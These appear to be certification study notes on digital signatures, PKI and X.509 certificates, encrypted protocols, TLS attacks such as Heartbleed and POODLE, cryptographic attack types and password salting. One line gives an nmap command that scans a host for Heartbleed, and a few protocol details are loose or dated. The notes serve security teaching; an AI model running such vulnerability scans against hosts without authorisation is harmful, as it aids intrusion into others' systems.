⚠️ Digital Signature Standard (DSS):
- Document that NIST puts out to specify the digital signature algorithms & the encryption algorithms approved for use by the US gov.
Public Key Infrastructure (PKI) - structure designed to verify and authenticate the identity of individuals
Also refers to the binding of public keys to people or devices
X.509 v3 is current format most widely used. Part of the X.500 family of standards
Certificate - electronic file that is used to verify a user's identity; provides nonrepudiation
X.509 - standard used for digital certificates
Contents of a Digital Certificate:
Some root CAs are automatically added to OSes that they already trust; normally are reputable companies
Self-Signed Certificates - certificates that are not signed by a CA; generally not used for public; used for development purposes
Registration Authority
Certificate Authority
Certificate Revocation List (CRL)
Validation Authority
Trust Model
Cross-Certification
Single-authority system
Hierarchical trust system
⚠️ Protocols such as SSL, PGP, and S/MIME use the services of KEKs to provide session key confidentiality, integrity, and sometimes to authenticate the binding of the session key originator and the session key itself.
Often-Used Encrypted Communication Methods:
Secure Shell (SSH) - secured version of telnet; uses port 22; relies on public key cryptography; SSH2 is successor and includes SFTP
Secure Sockets Layer (SSL) - encrypts data at transport layer and above; uses RSA encryption and digital certificates; has a six-step process; largely has been replaced by TLS
Transport Layer Security (TLS) - uses RSA 1024 and 2048 bits; successor to SSL; allows both client and server to authenticate to each other; TLS Record Protocol provides secured communication channel
Internet Protocol Security (IPSEC) - network layer tunneling protocol; used in tunnel and transport modes; ESP encrypts each packet
PGP - Pretty Good Privacy; used for signing, compress and encryption of emails, files and directories; known as hybrid cryptosystem - features conventional and public key cryptography
S/MIME - standard for public key encryption and signing of MIME data; only difference between this and PGP is PGP can encrypt files and drives unlike S/MIME
Heartbleed - attack on OpenSSL heartbeat which verifies data was received correctly
nmap -d --script ssl-heartbleed --script-args vulns.showall -sV [host]
FREAK (Factoring Attack on RSA-EXPORT Keys) - man-in-the-middle attack that forces a downgrade of RSA key to a weaker length
POODLE (Paddling Oracle On Downgraded Legacy Encryption) - downgrade attack that used the vulnerability that TLS downgrades to SSL if a connection cannot be made
DROWN (Decrypting RSA with Obsolete and Weakened Encryption) - affects SSL and TLS services
Cryptographic attacks approaches that seek to exploit one or more vulnerabilities in a cryptosystem to break it; Note: Patterns Kill! and it's all about the key!
Frequency Analysis & the Ciphertext Only Attack
Known Plain-text attack
Chosen Cipher-text Attack
Chosen Plain-text attack
Adaptive chosen plain-text attack
Cipher-text-only attack
Replay attack
Side-Channel Attack
Meet-in-the-Middle
Man-in-the-Middle
Birthday Attack / Collision Attack / Reverse Hash matching
Timing Attack
Rubber-Hose Attack
Don't Use Hard-Coded Keys (DUHK) Attack
Social Engineering Attack
Tools
Salt the passwords - A nonce most commonly associated with password randomization, making the pasword hash unpredictable.
Pepper - A large constant number stored separately from the hashed password.
Key stretching - Combine a very long salt and a huge number of hashing iterations to make cracking even more harder. (e.g Hashing the hashed password N times).